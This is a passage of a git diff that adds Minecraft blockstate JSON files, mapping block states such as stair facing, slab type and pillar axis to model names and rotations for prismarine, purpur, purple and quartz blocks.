} + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/powered_rail.json b/src/assets/minecraft/blockstates/powered_rail.json new file mode 100644 index 00000000..a20a06fc --- /dev/null +++ b/src/assets/minecraft/blockstates/powered_rail.json @@ -0,0 +1,46 @@ +{ + "variants": { + "powered=false,shape=ascending_east": { + "model": "minecraft:block/powered_rail_raised_ne", + "y": 90 + }, + "powered=false,shape=ascending_north": { + "model": "minecraft:block/powered_rail_raised_ne" + }, + "powered=false,shape=ascending_south": { + "model": "minecraft:block/powered_rail_raised_sw" + }, + "powered=false,shape=ascending_west": { + "model": "minecraft:block/powered_rail_raised_sw", + "y": 90 + }, + "powered=false,shape=east_west": { + "model": "minecraft:block/powered_rail", + "y": 90 + }, + "powered=false,shape=north_south": { + "model": "minecraft:block/powered_rail" + }, + "powered=true,shape=ascending_east": { + "model": "minecraft:block/powered_rail_on_raised_ne", + "y": 90 + }, + "powered=true,shape=ascending_north": { + "model": "minecraft:block/powered_rail_on_raised_ne" + }, + "powered=true,shape=ascending_south": { + "model": "minecraft:block/powered_rail_on_raised_sw" + }, + "powered=true,shape=ascending_west": { + "model": "minecraft:block/powered_rail_on_raised_sw", + "y": 90 + }, + "powered=true,shape=east_west": { + "model": "minecraft:block/powered_rail_on", + "y": 90 + }, + "powered=true,shape=north_south": { + "model": "minecraft:block/powered_rail_on" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine.json b/src/assets/minecraft/blockstates/prismarine.json new file mode 100644 index 00000000..b24d7034 --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/prismarine" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_brick_slab.json b/src/assets/minecraft/blockstates/prismarine_brick_slab.json new file mode 100644 index 00000000..3e151d0f --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/prismarine_brick_slab" + }, + "type=double": { + "model": "minecraft:block/prismarine_bricks" + }, + "type=top": { + "model": "minecraft:block/prismarine_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_brick_stairs.json b/src/assets/minecraft/blockstates/prismarine_brick_stairs.json new file mode 100644 index 00000000..698df855 --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/prismarine_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_bricks.json b/src/assets/minecraft/blockstates/prismarine_bricks.json new file mode 100644 index 00000000..db6a49ca --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/prismarine_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_slab.json b/src/assets/minecraft/blockstates/prismarine_slab.json new file mode 100644 index 00000000..3ac55090 --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/prismarine_slab" + }, + "type=double": { + "model": "minecraft:block/prismarine" + }, + "type=top": { + "model": "minecraft:block/prismarine_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_stairs.json b/src/assets/minecraft/blockstates/prismarine_stairs.json new file mode 100644 index 00000000..9228f4b7 --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/prismarine_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/prismarine_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/prismarine_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/prismarine_wall.json b/src/assets/minecraft/blockstates/prismarine_wall.json new file mode 100644 index 00000000..e6939052 --- /dev/null +++ b/src/assets/minecraft/blockstates/prismarine_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/prismarine_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pumpkin.json b/src/assets/minecraft/blockstates/pumpkin.json new file mode 100644 index 00000000..b64dee3d --- /dev/null +++ b/src/assets/minecraft/blockstates/pumpkin.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pumpkin" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pumpkin_stem.json b/src/assets/minecraft/blockstates/pumpkin_stem.json new file mode 100644 index 00000000..536ed118 --- /dev/null +++ b/src/assets/minecraft/blockstates/pumpkin_stem.json @@ -0,0 +1,28 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/pumpkin_stem_stage0" + }, + "age=1": { + "model": "minecraft:block/pumpkin_stem_stage1" + }, + "age=2": { + "model": "minecraft:block/pumpkin_stem_stage2" + }, + "age=3": { + "model": "minecraft:block/pumpkin_stem_stage3" + }, + "age=4": { + "model": "minecraft:block/pumpkin_stem_stage4" + }, + "age=5": { + "model": "minecraft:block/pumpkin_stem_stage5" + }, + "age=6": { + "model": "minecraft:block/pumpkin_stem_stage6" + }, + "age=7": { + "model": "minecraft:block/pumpkin_stem_stage7" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_banner.json b/src/assets/minecraft/blockstates/purple_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_bed.json b/src/assets/minecraft/blockstates/purple_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_carpet.json b/src/assets/minecraft/blockstates/purple_carpet.json new file mode 100644 index 00000000..94bd741a --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_concrete.json b/src/assets/minecraft/blockstates/purple_concrete.json new file mode 100644 index 00000000..06ecc28a --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_concrete_powder.json b/src/assets/minecraft/blockstates/purple_concrete_powder.json new file mode 100644 index 00000000..23291b95 --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/purple_concrete_powder" + }, + { + "model": "minecraft:block/purple_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/purple_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/purple_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_glazed_terracotta.json b/src/assets/minecraft/blockstates/purple_glazed_terracotta.json new file mode 100644 index 00000000..9f70fd4f --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/purple_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/purple_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/purple_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/purple_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_shulker_box.json b/src/assets/minecraft/blockstates/purple_shulker_box.json new file mode 100644 index 00000000..880e3163 --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_stained_glass.json b/src/assets/minecraft/blockstates/purple_stained_glass.json new file mode 100644 index 00000000..02662b50 --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_stained_glass_pane.json b/src/assets/minecraft/blockstates/purple_stained_glass_pane.json new file mode 100644 index 00000000..409b30e1 --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/purple_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_terracotta.json b/src/assets/minecraft/blockstates/purple_terracotta.json new file mode 100644 index 00000000..b500566d --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_wall_banner.json b/src/assets/minecraft/blockstates/purple_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purple_wool.json b/src/assets/minecraft/blockstates/purple_wool.json new file mode 100644 index 00000000..a14ba55d --- /dev/null +++ b/src/assets/minecraft/blockstates/purple_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purple_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purpur_block.json b/src/assets/minecraft/blockstates/purpur_block.json new file mode 100644 index 00000000..0bd34f34 --- /dev/null +++ b/src/assets/minecraft/blockstates/purpur_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/purpur_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purpur_pillar.json b/src/assets/minecraft/blockstates/purpur_pillar.json new file mode 100644 index 00000000..65046d71 --- /dev/null +++ b/src/assets/minecraft/blockstates/purpur_pillar.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/purpur_pillar_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/purpur_pillar" + }, + "axis=z": { + "model": "minecraft:block/purpur_pillar_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purpur_slab.json b/src/assets/minecraft/blockstates/purpur_slab.json new file mode 100644 index 00000000..b4b9fb43 --- /dev/null +++ b/src/assets/minecraft/blockstates/purpur_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/purpur_slab" + }, + "type=double": { + "model": "minecraft:block/purpur_block" + }, + "type=top": { + "model": "minecraft:block/purpur_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/purpur_stairs.json b/src/assets/minecraft/blockstates/purpur_stairs.json new file mode 100644 index 00000000..57cbe7a6 --- /dev/null +++ b/src/assets/minecraft/blockstates/purpur_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/purpur_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/purpur_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/purpur_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/purpur_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/quartz_block.json b/src/assets/minecraft/blockstates/quartz_block.json new file mode 100644 index 00000000..6dcfecf9 --- /dev/null +++ b/src/assets/minecraft/blockstates/quartz_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/quartz_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/quartz_bricks.json b/src/assets/minecraft/blockstates/quartz_bricks.json new file mode 100644 index 00000000..24827d45 --- /dev/null +++ b/src/assets/minecraft/blockstates/quartz_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/quartz_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/quartz_pillar.json b/src/assets/minecraft/blockstates/quartz_pillar.json new file mode 100644 index 00000000..260cca79 --- /dev/null +++ b/src/assets/minecraft/blockstates/quartz_pillar.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/quartz_pillar_horizontal", + "x": 90, + "y": 90 + }, + 